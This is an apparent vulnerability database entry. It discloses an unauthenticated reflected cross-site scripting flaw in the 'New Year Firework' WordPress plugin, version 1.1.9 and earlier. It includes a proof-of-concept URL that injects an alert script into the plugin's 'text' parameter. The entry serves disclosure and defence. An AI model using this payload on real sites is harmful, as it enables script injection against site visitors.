Lucene search

K
wpexploitEthicalhack3rWPEX-ID:D447ECD5-257D-4E34-A287-116946E6FAA1
HistoryApr 12, 2016 - 12:00 a.m.

New Year Firework <= 1.1.9 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2016-04-1200:00:00
ethicalhack3r
7

EPSS

0.001

Percentile

46.3%

The new-year-firework WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.

http://www.example.com/wp-content/plugins/new-year-firework/firework/index.php?text="><script>alert(1);</script><"

EPSS

0.001

Percentile

46.3%

Related for WPEX-ID:D447ECD5-257D-4E34-A287-116946E6FAA1